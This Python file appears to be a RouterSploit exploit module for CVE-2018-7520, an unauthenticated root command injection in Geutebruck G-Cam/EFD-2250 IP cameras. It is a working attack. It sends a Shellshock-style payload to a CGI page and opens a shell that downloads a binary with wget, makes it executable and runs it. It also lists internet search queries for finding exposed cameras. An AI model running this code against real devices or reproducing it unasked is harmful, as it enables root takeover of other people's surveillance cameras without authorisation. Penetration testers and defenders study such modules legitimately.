from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "Geutebruck G-Cam/EFD-2250 RCE",
        "description": "This module exploits a an arbitrary command execution vulnerability. The"
                       "vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an"
                       "anonymous user to execute arbitrary commands with root privileges.",
        "authors": (
            "Nicolas Mattiocco", #CVE-2018-7520 (RCE)
            "Davy Douhine" #CVE-2018-7520 (RCE) and metasploit module
            "GH0st3rs",  # routersploit module
        ),
        "references": (
            "https://www.exploit-db.com/exploits/44957",
            "https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01"
        ),
        "devices": (
            "5.02024 G-Cam/EFD-2250",
        ),
        "search": (
            'Zoomeye search: app:"Geutebruck IP Cameras httpd" +after:"2021-05-06"',
            'Censys search "Geutebruck"',
            'Fofa search: app="GEUTEBRUCK"',
            'Shodan search: "Geutebruck"',
        )
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd: str) -> str:
        header = "(){ :;}; "
        self.http_request(
            method='GET',
            path=f"/uapi-cgi/viewer/simple_loglistjs.cgi?{header}{cmd}",
        )
        return ''

    def check(self) -> bool:
        response = self.http_request(method='GET', path="/uapi-cgi/viewer/simple_loglistjs.cgi")

        if response is None:
            return False

        # Lots of devices are redirecting. This triggers a false positive.
        if response.status_code == 307:
            return False

        if response:
            return True
        return False

    def run(self):
        if self.check():
            print_success("Target seams %s:%d is vulnerable", self.target, self.port)
            shell(
                self,
                architecture="armle",
                method="wget",
                location="/var/",
                exec_binary=['chmod 777 {}', '{}']
            )
        else:
            print_error("Exploit failed - target %s:%d seems to be not vulnerable", self.target, self.port)
